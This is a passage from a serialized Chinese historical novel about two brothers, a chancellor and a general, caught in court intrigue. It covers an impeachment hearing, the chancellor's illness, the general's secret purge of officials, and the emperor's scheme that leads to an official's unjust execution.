如此又谈了苏骏早年受贿,不敬君主等诸多劣迹。他对答如流,不是当场打碎证据,便是给出反证。连久不上朝一事,也甩出历年诊单,逐一说明旧伤发作的时日:“就是建康湿气重,老子一进城就难受,懂么?”
苏骏一向脾气暴、破绽又多,身上光命案就不知几桩。大半日审下来,竟无一案坐实,着实出人意料。人人心道,“不知苏相是在背后下了多少功夫!”
许生极少喜怒于色,此时也沉下脸来:“休审,两刻后复议。”
又走到苏骏面前,“苏将军,借一步说话?”
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许生带苏骏走到内室,令人关上门。
他淡淡道:“做的不错啊,喝口茶吧。”便亲手滤了热茶,递了一盏过去。
苏骏一脸警惕,并不去接。
许生轻笑:“这么谨慎,我还能毒死你么?”
又拍拍身旁的位置,“坐吧,歇口气,一会儿还没完呢。”
苏骏这才一言不发地坐下。
许生自己拿了一杯茶,悠然道:“这些弹章,我是一点点做了三年的。知道为什么这么全吗?”
苏骏看着他。
许生微微一笑:“宋依依。别忘了,她现在是我们的人……”
苏骏果然大怒:“姓许的,你不要把她扯进来!”
许生将手一摊,无辜道:“不是我呀,她自己说的,‘苏骏啊,只会打仗、没脑子,能成什么事?这天下迟早是皇上的,只等——’”
压低身,眼中微闪,“‘苏昀那口气一断,就没人再给他兜着了。’”
苏骏霍然起身,椅子在地上猛地一响。“你放屁!”
许生端着茶,稳稳地坐着:“你激动什么?我只是转述……”
话还未完,便被对方一把抓住了衣襟,喷了一脸的唾沫:“你再编一句,老子弄死你!”
许生嫌恶地皱了眉,竟掏出帕子来擦脸:“脏,真脏!宋姐姐说的不错啊——还是皇上会疼人,香汤、绫被,样样讲究,样样叫人回味。”
说着自己倒像回味起来了,悠悠道,“哎,这么一说,我倒是有点想她了呢……”
苏骏听到自己骨节咔哒一响,整个人再往前半步,咆哮起来:“你敢辱她?”
拳头已高高扬起,浑身肌肉绷得像张弓。
许生道:“打我?不,你不敢。”
似笑非笑的,“你就是你哥的一条狗,他不让你咬,你怎么敢……”
屋里一片死寂。
苏骏浑身发抖,拳头悬在半空,片刻,终于放下。一把将许生扔回了座位。
“想脏我的手,你不配。”
便转身出去了。
.
苏骏大步走回公堂。
众人正闲聊着,见他来了便欲回座。却见他一团风似的穿堂而出:
“头痛,改天再审!”
众人咋舌:“这……”
许生也缓步出来,慢慢地理着衣襟。底下的便去问,“中丞,今天可是就散了?”
他脸上淡淡的:“散吧。来日方长……”
.
苏骏跨出门,对随身兵道:“告诉苏昀,我去走走,不必担心。”
便上马,一口气出了城。
正值初春,郊外草色有无,细雨绵绵。
有百姓在田边偶一抬头,认出他来,小声道:“是苏将军呢。”“ ……真是他?”
苏骏却只顾催马往前,任雨水将衣衫一寸寸打
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透。
他是谁?
苏骏,苏家的嫡子,带兵的,打仗的,拿命护国的……
又是谁在看他?
像条牲口一样把他翻过来,剖了、称了、摆在堂上,问一声:“你配不配?”
还有那个她——
她也在里面吗?三年不见,她在想什么?好不好?到底……
他死死咬着后槽牙,鼻腔发涩,听见自己从胸中发出一声长嚎!
去死吧,统统去死吧——去他娘的,他不在乎!
不在乎!
.
等他一身湿透、再回到草庐时,已是夜深了。
他问:“睡了吗?”
宁伯道:“没呢,还在书房。说要等您回来吃饭。”
“找套衣服,我换了再去。”
苏骏默然地换了衣衫,擦干头发。照着镜子,确认自己看起来还算正常,才吐了一口气,去推开书房的门。
房里静极了。燃着一缕安神的炉香。外面的雨声淅淅。
而苏昀,伏在案上睡着了。
身下的是摊开的奏章,写了一半的信。笔还蘸了墨,滚落在纸上,洇出一团乱糟糟的墨迹。
苏骏顿了一下,便脱下外衣,轻轻盖在他的肩上。
就在那一刻,他看见了那人的手——那么白,瘦得惊人,青筋突起,像干裂的树根,从身体里面一寸寸挣扎出来。
苏骏站了好一会儿,听见自己的呼吸从缓到急,又逐渐回到缓和。
最后把那只笔,放回了笔架上。
转身走了。
.
宁伯在小间里张罗着饭菜,见苏骏走来,便笑着道:“公子特意吩咐厨房,做了您爱吃的狮子头、炖牛排……”
苏骏简单道:“他睡着了。”
宁伯轻轻“啊”了一声,宽慰道:“那您先吃点吧,一会儿……”
苏骏道:“你坐下。”
宁伯心里一跳,只好应了慢慢落座。
苏骏自己也坐,神情看不出喜怒,语气平静:“我问你,你要一五一十地答……”
.
等出了门,随身兵牵马来问:“将军可是回家么?”
苏骏不答,只问:“有烟么?”
随身兵一下可慌了神:“哎哟,您说戒烟,小的都两三年没带着了……”
迎上那人恐怖的眼神,只好翻了翻腰包,艰难地找出了半盒,“这是小的自己吃的,劣烟,不大好的。要么您等一下,小的这就……”
苏骏却毫不在意,接了就吃。嚼了两下,果然苦、呛得很。
他泛起一点冷笑——
“去,把人都给我叫来。”
40.柔软
两年大旱的重压,早已掏空了苏昀的身子。
从准备封赏、应对弹章,再到陪弟弟备审,全是凭一点意念、一口气撑着——一直拖到面审当夜,终于再压不住地烧了起来。
一整晚胸口发闷,头痛,烧得整个人都是晕的,却满脑子都是:“阿骏才回家,才活过来一点!我要马上好,我不能……”
可身体完全不听指令,整个地垮了下去。
后来的事他再记不清,只觉昏昏沉沉之间,嘴边似有温水凑近——
有人托着他的头,一点点地喂水。
他皱起眉,哑声问:“什么,什么时候了?阿骏……”
“我在。”
声音低低地,竟就在身边,就是那个喂水的人!
苏昀费力地睁开眼。果然看见弟弟坐在身侧,随手放下水盏,关切道:“醒了?”又道,“才过巳时,再睡会儿吧?”
他张了张口,一时又咳了起来。
苏骏立刻扶住他,替他顺背,“不急,别说话。”
动作有些生,却十分柔和。
等他缓过来,苏骏小心地将他放回床上,盖好被子。“我替你告过假了,安心睡吧。”
苏昀这才看清,那人一身绛红官衣、打了髻,显然是——
“……你,上朝了?”
苏骏道:“嗯,不让他们再找空子。”
再补了一句,“下午二审,我会照上次那样做,别担心。”
又把被角拉紧了一点,“有我呢。”
.
这一句“有我”,切切实实地渗透到苏昀的每一寸生活。
一连几天,苏昀几乎一睁眼就能见到他。皱下眉,便问“哪不舒服”。刚要起身,水已端到手边。一到饭点,又追着劝:“吃一点吧?我陪你。”
等他精神略好、偷偷摸起东西看的时候,苏骏又推门进了:“哥!”
苏昀吓了一跳,直接把卷子塞进被子里。
苏骏看了他一眼:“你干嘛呢?”
苏昀心虚:“没……”
又补,“躺久了,坐会儿。”
苏骏“哦“了一声,在床边坐下,打开了食盒。“如君做了芋泥糕、红枣团子,苏澄一份你一份,吃点么?”
眼看对方一屁股就坐在了江南最高机要上,苏昀不由挪了挪身,“嗯……”
接过热腾腾的糕点,低头咬了一小口。软软的,带一点甜。
“……蛮好吃。”
苏骏明显松了口气,又递了一块来。“那就多吃点。”
就这样看着对方,慢慢吃下了两块点心,又喝了水,显然气色好了一些。
这才从怀里又摸出几张薄纸,“知道你惦记——我让中书那帮人,把这几天朝上的事写了个简报,你要听么?我念给你。”
苏昀怔了一下。
随即一笑,“行啊,你念吧。”
江北局势稳定。赈济如常,春种诸事已按口谕安排。面审完成,三部各自上交意见。两名监察御史更换,已批下……
一条条听下来,竟十分地舒心。“这么顺啊?”
苏骏上下看他:“怎么,你是巴不得出点乱子,好给你逞能?”
苏昀无奈地笑:“不是。只是这样,好像还是我病着比较好呢……”
苏骏“呵呵”了一声:“你乐意,我可不乐意。天天伺候你,我不累么?”
便板起了脸。
苏昀柔声叫:“阿骏。”
那声“阿骏”,极轻,也极暖,像是多年来第一次叫出口。苏骏一顿,面上的僵色就绷不住了。他低头收了纸,又不由分说地把人按回床上,凶巴巴地道:
“吃完犯困!你再睡会儿。”
“我不困。”
“不困也躺会儿,休息!”
苏昀只得接受这霸道的安排,任他一通倒饬,把被子一层层地压实。好像生怕一丝风透进来,都会把他整个吹散了似的。
临出门之前,又轻轻地叫了一声:“阿骏。”
苏骏回头:“嗯?”
苏昀微笑:“谢谢。”
苏骏愣了一下,随即别过脸,挥了下手:“真肉麻!”
便拉开门走了。
等人走了,苏昀还留在那一点暖意中,闭了一会儿眼。
半晌才慢慢地坐起来,去摸索藏在被子下的几份折子。江北屯田的设立、新季盐铁的定价、寒门科举试行……还没找到,全局便已在心中展开。可是——
“……嗯?”
他又翻了一下,索性整个地掀开被子。
原本的折子早就不见了,取而代之的,是一卷《农政全书》——
显然是从旁边随手拿的。
“……”
.
好像一切都变好了。
苏骏没有像他所担心的那样,一看到他生病就疯掉,反而整个人静下来,柔下来。
“可能这几年,是真的沉稳了。”
苏昀只觉这比什么都宽慰,甚至比江北大捷还好。整个人一点点松下来,当真结结实实地养了一阵的病。
等他神志清明、不再看字发晕之后,便重新拾起奏章来看。
当然也是在苏骏的严密监管之下——每日由中书筛选,既定二十五份,都是最紧要、他最关心的大事。
慢慢地也开始上朝,从偶尔去一天,到两三天一次。
苏骏则是天天都去。他去的时候,便要来接他,非得一起出门、一起回来,好像怕他在路上被人拐了似的。回来后就在他书房混着,批自己的军报,完了又一封封地看他批过的折子,美其名曰为“学习”。
苏昀问:“你不用去军营么?”
苏骏躺那翻折子,头也不抬:“啊,老张盯着呢。放心。”
“那也不用陪如君、小澄?”
“陪了啊,晚上我不是陪他们吃饭了吗?”
“光吃饭哪行?小孩子要陪着玩。不然以后不亲你、不认你怎么办?”
“哎,跟我有啥好?跟你亲就行。”
“……”
苏骏发现兄长没搭话,便坐了起来,试图补救:“我是说,像我不好,还是像你比较好!从小就懂事,不长歪,也不让人操心……”
说着连自己都不信。这厮要不让人操心,他天天是赖在这干啥呢?
苏昀看着他:“你也很好。”
苏骏竟默了片刻,没回答。
苏昀便笑了: “……虽然是挺不省心的。”
苏骏立刻嗤了一声,倒回榻上,继续把折子举到脸上。
苏昀
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起身,走到榻边坐下,轻轻推了一下他。“跟你讲点正经的,好不好?”
苏骏“唔”了一声。
“先答应我,不许生气。”
苏骏心里咯噔了一下,口中却道:“不答应,你爱说不说。”
“……”
苏昀是真拿他没辙,只好道,“我想过了,我这副身子是得多休息的。”
苏骏“啊”了一声,又翻了页纸:“原来阁下知道啊?”
苏昀不理他,接着道:“我想再做五年。三年稳国库,五年定田制、划军区,打通寒门的路。那时江南太平,我就辞官去乡下养病。你说好不好?”
苏骏顿了好一会儿,才又“唔”了一声:“不错啊。”
明显一副“关我什么事”的口吻。
苏昀轻轻推了他一下:“我要你帮我。”
“守边是吧?”苏骏又翻了一页纸,“放心吧。他胡人能踏进江南一步,我就不姓苏!”
“不只是守边。”
苏昀回答,似又想了一下才道,“我希望你能辅国。”
“哈?”苏骏终于坐了起来,“什么意思?”
话是这么说,忽然想起自己现在的封号,好像是什么“辅国大将军” ……算了不重要。又聚精会神地看着兄长,听他继续道:
“我花了足足八年,去构建这个南北共治的政权。还有五年,我要让它稳固下来,让人人得其所,老有所养、幼有所依,有才之人都能上升。”
“我不在之后,你作为辅国大将,要确保军不扰政,也不为政所忌。不居中枢,却平衡全局。在有风雨的时候,做那个能定局、能守基业的人。”
他终于看着苏骏,目光灼灼:“你能答应我吗?”
苏骏静了一下,慢慢笑了起来:“哥,你是不是病糊涂了,我才读过几年书,就定局?还辅国?我哪有这本事……”
“你可以。阿骏,你不只是武将——你聪明、悟性高,韧性极强。这世上除了你,没有一个我能交托这件事的人了。”
“我知道我是为难你了。可这是正事,是苏家后人的担当。若父亲在天有灵,也会希望你我走下去的,阿骏……”
.
苏昀一个人在书房里坐着,天光洒下来,静静地。
宁伯端了食盒过来,小心地道:“二公子不吃午饭就走了啊?都还好吗?”
苏昀心不在焉地道:“嗯,好。”
宁伯心道,这两个不是又吵架了吧?一边察言观色,一边慢慢地腾出桌面,把食物一样样摆开。
苏昀又坐了一会儿。
宁伯不得不提醒:“动筷吧,一会儿又凉啦。”
苏昀这才顺从地拿起碗,夹了菜,慢慢地吃了一口。
宁伯看他吃得还行,略松口气,又提醒:“鱼和蒸蛋也吃点啊,别光吃青菜……”
苏昀忽然轻唤:“宁伯。”
“嗯?”
“他答应了。”
“啊,您说二公子么?答应什么了?”
“我也答应了。”
宁伯一头雾水:“什么……”
苏昀夹了块鱼,又舀了勺蛋羹进碗里。“活下去。宁伯,我要活下去,看着他……”
抬起眼,对着他笑了,“我觉得可以,你呢?”
41.暗涌
苏府。晚饭后,苏骏照例转回了书房。
七八个下属已在里头等着了,一见他进门立刻起身作礼:“将军。”
苏骏旋身坐下,由人奉了烟上来,点火。深深地吸了一口,才略一抬手。
其中一人便上前:“禀将军,都察院十个御史,已被咱们逼辞了四个——一个说‘老母病重’,两个‘引咎’,一个‘告老还乡’,其他也都警告过了。您看,还要再继续么?”
苏骏吐了一口烟气:“先这样吧。”
那人应了便退。
又一人出列:“禀将军,镇东营连同戴家两军,上下肃查军籍,所有皇帝、许生安插的人都以各种理由拔干净了。共计两百四十七人。”
“这么多?”
那人局促了起来:“……是,因为您北上前吩咐过,只要报过丞相,便不理他的。”
苏骏“唔”了一声:“以前就算了。”
又补,“没有以后。”
如此说了一刻钟,有人来报:“将军,中书堂送折子来了。”
苏骏道:“进。”
一个中书哈着腰进门,交放了东西,又哈着腰要走。
苏骏道:“跑这么快,我还有话呢。”
那中书显然吓了一跳,忙道:“将军什么吩咐?”
“春种的事,太慢了。”
“是是,小的马上就去催。”
“还有,昨天刘侃催军粮的案子,为什么放进去?”
中书汗流浃背:“这……这事小的做不了主……”
“做不了主,就让司马瑞做主——你们是听不懂人话吗?”
“是是 ……小、小的知道了,明天就原帖递到宫里去。”
又
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被苏骏横了一眼,只好改口,“加上兵部建议,不批粮,让刘将军自己想办法……”
如此批完了各种事项,人人告辞散去了。
桌上也留了十几截烟头。
苏骏碾熄了手上那支烟,擦过手,便拿过今日的折子来审。
一共三十份,他粗粗地扫了一遍,挑出其中过于刺激的、可私下处置的,或与之前案牍无关、时效不紧的——余下二十五份,重新整好,夹入书匣。
做完这一切,已近四更。
他走到门口,又点了一支烟,火光微闪。
有侍女打着灯笼走来,行了一礼:“将军,夫人问您今晚还回屋吗?”
苏骏道:“不回了,让她睡吧。”
侍女应了是,便退下了。
苏骏又站了一阵,把那支烟也丢在地上,踩熄。转身回房。
42.宫闱
天渐渐亮起。
宫中偏院,晨风拂帘。室中传来穿衣摩挲的轻响。
宋依依一身月白素裙,配玉簪,亲自为琅琊王更朝服、束发髻。
琅琊王看了看镜中的自己,喟叹一声:“嗯……宫中女子数十个,还是数你最妥帖。”
宋依依浅浅一笑,不语。
琅琊王自顾理了理衣襟,随口似的道:“孤想过了,下个月初给你晋妃位,赐‘懿’字,授册宝、协理后宫之权——你意下如何?”
宋依依微顿,轻声答:“皇后娘娘统理六宫多年,仪典昭彰。臣妾愚钝,不敢僭越。”
琅琊王看了她一眼:“孤知道你懂规矩,却不知你这‘不敢’,是真不敢,还是另有牵挂?”
宋依依垂着眼,只道:“臣妾所思所虑,皆在陛下恩典之中。”
琅琊王轻笑了一声:“你惯是会说话的。”
随即抬眼,“苏骏回来了——你,很久没见他了吧?”
宋依依道:“皇上说笑了,臣妾久居宫中,如何能得见外臣。”
琅琊王挑眉:“那若是孤让你去呢?”
又刻意叹了口气:“苏骏啊,最近可不让人省心——和他哥两个,一个装病,一个生事,把朝局搅得是一团腥气!”
“你既入了宫,自是孤的人。但若还念着一点旧情,不妨也替他挡挡祸、劝一劝。别叫他不识好歹,连累了人……”
宋依依走到身前,敛裙,行大礼。
“臣妾身入宫闱,前尘尽弃,自不敢有二心妄念。”
“然而臣妾是后宫之人,不敢干政,更不敢私递言语。今日陛下有疑,臣妾百口莫辩,唯有自请一死,以明无他!”
.
“岂有此理!”
琅琊王回到永安阁中,仍是怒气未歇。“那宋嫔平日三请才能见一回,孤就已经忍了。现在让她办点事,立刻就拿抹脖子来吓孤——真是哪儿来的胆子!”
许生在旁,慢慢替他解下朝衣,低着眉不语。
琅琊王继续自顾地骂:“……她是个什么出身,进了宫,还装腔作势地清高给谁看?真以为孤拿她没办法?”
许生解好了衣,又为他换上常袍,仍是安安静静地。
琅琊王见他反常,便问:“怎么不说话了?”
许生垂下头:“臣……不敢。”
站在那儿,眼眶一红,忽然就落下泪来。
琅琊王吃了一惊,忙去抬起对方的脸。只见那如花儿一般微颤的脸,两行清泪已滑下。
他立刻道:“怎么了?”
许生道:“臣只是想到,宋嫔初入宫时一身盛宠,尚要一死来保清白。而臣一无她姿容,二无苏家后援,所仰赖的,唯有陛下的圣眷。”
“若有朝一日,臣年老色衰,再无可取之处——也断不劳陛下开口,自知归路……”
说到这里,便
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是泣不成声。
琅琊王愣了一下,这才笑起来:“孤当是什么事,就哭成了这样!”
将他拉入怀中,“宋嫔如何能与你相比?她本就是孤的棋子,棋子不听话,自然该死。可是你——你呀,是孤心上的人啊!”
许生啜泣两声,并不回答。
琅琊王只得又哄:“好啦,孤答应你,就把她当尊佛一样在宫里供着,不动她——这样总好了吧?别哭了……哎,真是个小哭包!”
许生这才破涕为笑:“皇上取笑臣。”
“孤哪里舍得。”琅琊王说着,亲手递了一方帕。
见那人乖乖接了、按了按眼角,神情终于安稳下来,他才松了口气。略靠在榻侧,心中的愁思却又翻了起来,长叹了一声:
“唉,眼看都察院变了天,军中人手被调得七零八落。本想把江北交给刘侃,那厮却不是哭穷,就是说苏骏的人调不动……现在连宋嫔这条路也走不通了,孤这局,就要下死啦!”
许生也叹:“臣见陛下日日烦闷,真恨不得把苏家那两个扒烂吞了!思来想去,只有一个极不像样的想法,却怕陛下听了会不高兴。”
“哦,说来听听?”
“苏家兄弟,一文一武,一暗一明。要破它,得先从稳的那一头下手。”
“这孤也知道。可苏昀称病,成天躲着孤走,怎么下手?”
许生抬起眼:“那就,逼他出来。”
43.祖陵
苏昀觉得,好事来得慢如细水,坏事却总是一通狂风骤雨、恶鬼催命。
春种刚得一波收成,江北便传来噩耗:鲜卑突袭皇室祖陵。消息入京时,他还在梦中,一觉醒来天都变了——
琅琊王连夜下旨,大军北上,誓要保陵护宗。
旨令一出,轰动朝野。
苏昀一边迅速地束发换衣,一边听苏籍之在外间跟幕僚讨论:“皇帝祖陵就是一座秃秃的孤山,除了三百驻兵,啥也没有,鲜卑去攻它干啥呀?”
“有传言说,皇陵中有宝藏。”
“宝藏?我咋不知道?”
“没人知道,就是个传言。也不知是哪儿来的……”
管不了来路,苏昀只知道一件事——
“江南刚过旱年,正是国力空虚、兵备不整。此时若倾举国之力,深入敌军腹地,只怕会局势大乱,连南方都保不住!”
他再行大礼,伏地叩首,“臣,叩请陛下三思!”
后面又跟了一大片朝臣,纷纷拜倒:“臣等附议丞相所言,请皇上三思!”
一名御史立刻出列,声色俱厉:“皇命已下,岂可随意收回?”
又转向苏昀,“丞相身为百官之首,竟带头拦驾——难不成,是想挟群臣以令君上吗?”
殿内气氛顿时一滞,纷纷看向苏昀。
苏昀依旧伏在地上,沉声道:“国难当前,臣有谏言,是为本分。若因此冒犯圣听,臣愿一力担之,不累他人!”
又一个礼部侍郎出列,拱手道:“丞相担当,我等不敢不敬。然而我大晋以礼治国,怎能任胡贼践踏祖陵?如此不忠不孝,又何以服天下?”
苏籍之实在听不下去,插嘴道:“李侍郎,你说得倒轻巧。打仗不要钱么?不要人么?现在朝廷揭不开锅,欠条都写到后年去了,哪儿来的闲功夫去讨一座空山!你别站着说话不腰疼啊……”
殿上一片哗然。
许生呵斥:“肃静!”
便将目光看向琅琊王。
琅琊王缓缓起身,视线从众臣脸上掠过,又落到苏昀的身上。只见那人肩背瘦零零的,长拜至此,仍是一动不动。
他悠悠地道:“丞相一心为国,孤怎会不知?”
语气却微一转:“然而皇陵,是我大晋的脸面。哪怕只是一座孤山,也是皇家的山!”
“孤登基之日,曾答应先帝要光复中原。如今羯人既破,北地粮道已通、兵甲已成——岂有再等的道理?”
他环顾殿内,眼神微沉:“孤北伐之志已决,此事不必再议。即日起各部速整兵资,违者——以抗旨论!”
.
事已至此,苏昀便只剩一个字:拖。
先是沉痛表示“恭领圣意”,然后请召诸部联议,逐项“按章”部署。
人人皆知,章就是苏昀的章。十分配合地将所有程序、批复一一走下去,能绕两圈的坚决不只走一圈。苏昀自己则称病在家,批文拖拖拉拉压着不发,发了的又语义模糊,让底下“充分“地讨论。
眼看刘侃一封封请命急催,民间动荡,兄长的黑眼圈越来越重。苏骏焦躁至极,日日往草庐跑,听他和幕僚们斟酌部署,自己却一句也插不上。
转而想私下去找琅琊王,只得了一句传话:“你若不愿出征,有的是愿意的人。”
再疯了一样地去查“宝藏”传言的出处。没有,就是在江北酒馆里、茶水间,挑夫走卒之间传开的,范围之广,根本找不出源头。
这一切摆明了,就是冲着兄长来的。而他,根本做不了任何事。
见弟弟整个人明显地沉了下去,苏昀拉着他安慰:“现在上下情绪高涨,只要拖上两个月,自然缓和。到时顶多是责我办事不力,也不会真的怎么样。”
又按了按他的手,“别担心。”
苏骏沉默了片刻,最终只吐出一声:“好。”
便转过身,慢慢地离开了。
苏昀看着他沉闷的背影,不由心中一酸。却顾不得许多,只吩咐了宁伯去“盯着点,别让他做傻事”,便又一头扎进了事务堆里。
.
苏昀会拖,琅琊王就会催。
再无实权,下诏令也不要本金,一连数道,一道比一道严厉。最后命刘侃整军三万为前锋,苏骏监军在后,三日内必须军资齐备,大军北上。
许生则接连递上几封弹章,一字不提苏昀的名,却说朝中有人督府失职,当严查严办。
眼看泰山压顶,苏昀反倒心静下来,问自己一句:“我要保什么?”
答案很简单:保朝局不乱,保弟
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弟不失兵权,保自己退得不太难看。
随即提笔写下一纸请罪书:“三日筹兵,未达圣命所期。愿自请降一品,罢署礼政一旬。”
写罢,心中竟定了不少。索性将余下的事务都推了,闭目休息。
宁伯在外头一个个挡开了访客,回过头来。看见苏昀和衣侧躺在榻上,似是睡着了。奏章还散在一旁。
心道,这孩子是真累了。便轻手轻脚地抱了张毯子,小心盖在他身上。
榻上人却微蹙了眉,低低地道:“什么时候了?”
宁伯忙道:“刚过酉初呢。”
“有要紧的事么?”
“没有没有,大伙都按您的吩咐,回去歇着了。”
又补,“今天端午,督运令史淳大人过来时,还提了两只粽子,说是用小米藜麦蒸的,给您添点节气。”
苏昀不由笑了:“什么时候了,还惦记着过节么?”
宁伯也笑:“淳大人人老实,拐不过弯。”
苏昀低低地“嗯”了一声,动了动身。“我眯一会儿。”
.
这一觉便睡过了晚饭。
夜里风雨乍停,屋中却静得出奇。宁伯守在外间几次探看,都不忍叫醒。
等再醒时,天色已泛出一线白光。苏昀躺着看天光,发了会儿呆。
宁伯轻手轻脚地推门进,“公子醒了?”
放下水盆,又问,“今天上朝么?”
这日“要去请罪”的现实自然又浮上了心头。苏昀应了声“嗯”,便慢慢地支起身。
宁伯一边替他整衣束带,一边念叨:“昨天晚饭都没吃,一会儿怎么也先垫两口再出门啊……”
正说着,外头忽传来一阵急促的脚步声。哐地一声,门被推开。
苏籍之张口便嚷:“昀叔!”
苏昀被他吓了一跳,按着胸口道:“干什么……”
“出事了!出大事了!”
“……”
苏昀有些无奈,只道:“……喘口气,慢点说。“
“是淳于伯!他、他……他天还没亮就被人抓走了,已经行刑了!”
苏昀怔了一下:“什么行刑?”
“斩首!说是漕运稽期,皇帝震怒,天没亮就下令拉到东市处斩了……”
44.冤杀
他话还没说完,苏昀已是身子一晃,抬手扶住了案角。
宁伯赶紧去扶:“公子——”
苏昀没动,也没答,只低声道:“……水。”
苏籍之慌慌忙忙地递上温水,却见他接过,一口未饮,只把杯子慢慢搁在案上,指尖轻轻颤着。呼吸急促,好一会儿才缓过来。
苏昀终于开口:“立刻封锁现场,动作要快,不能让百姓聚集。”
又微晃着起身,“我先入宫,看看情况……”
.
再怎么封锁,也已经迟了。
皇帝震怒,当街斩首督运令史,全城都炸锅了。“是冤死的!听说那血啊逆着流,蹿了两丈高!”“两丈!别吹牛了吧?”“是真的。我都看见了,擦柱子的人得搭个梯子!”
有人还懵懵懂懂地问:“他为啥被杀呀?”
另一人便道:“这还不明白?朝廷上扯皮,误了皇上的北征大计,淳于伯就成了替死鬼!”
“哎,真是可怜啊!听说那个淳大人,一辈子勤勤恳恳,是个好官。下个月就要退了回家抱孙子了呢。”
“宫里争来争去,又是咱们老百姓遭殃!”
坊间越传越凶,群情激愤起来。
同时朝堂之上,许生也毫不留情,当殿质问:“漕运拖了这么久,到底是谁的责任?眼下军期将至,又是谁叫良臣丧命、百姓群起?”
又旋身一拜,“臣叩请陛下查明失职之由,莫使朝纲蒙尘!”
查什么?
满朝的目光都看向苏昀。
琅琊王缓缓点头,也看向他:“宴之,你以为呢?”
苏昀看着自己亲手扶上帝位的君王,曾结义,曾月下把酒,畅谈国事。
此时对方分明面无表情,但他眼睛一花,仿佛看到他微微笑了。又努力眨了眨眼,才重新看清那张冷如冰霜的脸。
他闭了闭眼,出列,躬身一拜:“臣自当清查,明日具本上奏。”
.
不论苏昀多么想关在房里,想吐,想大吼大叫。这一天,仍是从早忙到了晚。
先是安排人手前往漕务署、督府属局,逐一安抚属吏情绪,口头传一句话:“今日之事,错不在你们。有丞相在,不必担心。”
自己则留在中书堂坐镇,命幕僚分头清查文书,理清来龙去脉。同时将坊间舆情的摘录,一一归档。
最后对淳于伯一案的定论,斟酌再三,改了一遍又一遍。又重写了自己的请罪书。
等这一切做完,回到草庐,已近子时。
身心已是极度疲倦,他轻轻地叫:“宁伯,我饿了。”
宁伯一愣,随即喜道:“哎,公子稍等。老奴这就去弄点汤的来。”
“淳于伯的棕子,还在么?”
“啊,在……在的。”
“我想吃。”
.
这个粽子是特地用小米藜麦做的,绿豆素馅。
苏昀静了一下,才慢慢拿起筷子,夹了一小块送入口中。米团温黏,带着淡淡粽叶的清气。他细细咀嚼,咽下第一口,又去夹了第二块。
宁伯不由劝:“尝个味道就行了吧,这东西难化的……”
“没事。”
苏昀轻声答。这样一块一块地,竟慢慢吃完了一整只粽子。放下筷子那一刻,动作极轻,却微微撑了桌沿一把。
宁伯看着胆战心惊,连忙递上一碗温的薄荷水,“喝口水,消消食吧。”
“好饱。我想睡了。”
“好好。”
.
一夜无话。
苏昀一早唤人,要了剂止痛药,两片暖石。坐了一会儿,便慢慢地下床收拾。
穿衣、整理,把折子一一收好。
转出房门,一抬眼,苏骏正站在外面。
他穿着一身乱糟糟的便袍,脸色发青,眼中血丝密布,显然整夜未眠。
他低声道:“你别去。”
直直望着苏昀,像是下了极大决心,声音更低、更狠:“你要是去了,以后就别认我了——我不是你弟弟。”
苏昀愣了一下:“说什么傻话?”
又上前去按他的肩,“你歇一歇,我很快回来,好吗?”
苏骏低下头,没有说话。
“没事的,别担心。” 苏昀低声说着,上前轻轻抱住了弟弟。
后者的身体明显在颤抖。他停了片刻,才终于狠下心,放开手。
转身而去。
.
朝堂上,苏昀跪陈:
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“漕务之误,实由诸事交错、运线失节,非淳于伯一人之过。”
“臣督理不力,未能及早察觉,致使忠臣蒙冤。今自请降三品、夺俸一年,暂罢荐举之权,不署礼政,以安众心。”
朝中一片寂静。没人敢说话。
琅琊王看了他一会儿,终于慢慢起身。宽大的朝服拖过地阶,声声入耳。
在众目睽睽之下,亲自扶起苏昀,语气温和得近乎慈爱:“宴之,你一向尽心,孤怎么可能怪你呢?”
又拍了拍他的手背,“你这道请罪,孤不能批,也不想批。孤误杀了忠臣,是孤的错,你不能什么都往身上揽啊……”
.
待退朝之后,琅琊王又请苏昀入内殿。清茶一泡,座一赐,便开口:
“涉及皇陵安危,孤一时没压住脾气。回过头来想,你说的都有道理——现在,不是北征的最佳时机。这事便算过了,你也别往心里去。”
苏昀垂眼:“臣不敢。”
琅琊王看着他,忽地叹了口气:“你看看你,都憔悴成什么样了!病了就别理那么多事,保养身体要紧,凡事有孤在呢。”
想了想又道,“最近中书堂事多,孤寻思着再给你添几个人手,你好歇一歇。”
“哦,还有三印——你当年提的那个,孤觉得蛮好,就是太累人了。兵奏那么多,又急又烦!这样吧,孤暂时替你保管那个印,等你好些再还你。你看,好不好?”
苏昀安静道:“……谨尊圣谕。”
琅琊王拉起他的手,语气温柔极了,“什么圣谕,是大哥的一片心!宴之,你为了孤,为了大晋已经付出太多了。总得为自己考虑一点,知道吗?……”
.
宁伯提着一颗心,陪苏昀回到家。一路无话。
到了家,苏昀问:“二公子呢?”
底下人禀道:“您刚出门,他就走了。叫您别去找,他不想见。”
苏昀轻轻地应了一声,便往房里走。
宁伯替他开门,一边絮絮地问:“公子,可吃点什么么?老奴把药拿过来吧?吃完您歇会儿,老奴去请姜大夫过来……”
他正轻手合上门,刚转身,忽然传来一声盏盖落地的脆响。
宁伯脱口而出:“公子——”
45.军心
采风是一种习惯。
即便离开了梨园教坊,许生还是常去听,去记,偶尔也唱一两句,哄那位陛下解闷。
这日又是不紧不慢地过了东市,取了几张新曲样子,绕路从南大街回。
过了街口,看见一个摊主正抓着小孩子,大声斥责:“你这小贼又偷书,今天我非把你交了官衙不可!”
那孩子脏兮兮的,扭得像泥鳅一样:“放开我,放开!”
许生上前,指了指那本有脏手印的《千字文》:“这本多少钱?”
摊主腾出一眼看他:“六文,客官要么?我给你拿本新的。”
许生放下几枚铜币:“不用,就这本挺好。”
而后拿了书,走去塞到那小孩怀里。“拿去读吧。”
摊主、小孩都是一愣。
小孩像怕他改主意似的,接了书、也不道谢,一溜烟就跑远了。
摊主憋了半天,还是忍不住嘀咕:“客官好心,但这不是惯着这小子偷么!”
许生神色淡淡:“偷什么,本来就是他的……”
.
再入宫时,蓝天白云。
许生慢慢穿过御花园,经过许多点头哈腰的人。在一座小院前停下,抬起头,上面是“凝芳轩”几字。
他抬手敲了敲门。
吱呀一声,大门打开。侍女惊得低呼:“许,许大人!您怎么……”
许生道:“奉旨送曲。你们娘娘呢?”
引入内堂,宋依依迎了出来,看了他一眼。“大人一个外臣到后宫‘送曲’,只怕不合规矩吧?”
许生坐下,抬手撩了撩袍角,翘起腿。“皇上高兴,就是规矩。”
宋依依轻笑:“也是——许大人近来风头无两,我还没贺喜呢。”
许生看着她:“宋依依,你是聪明人。”
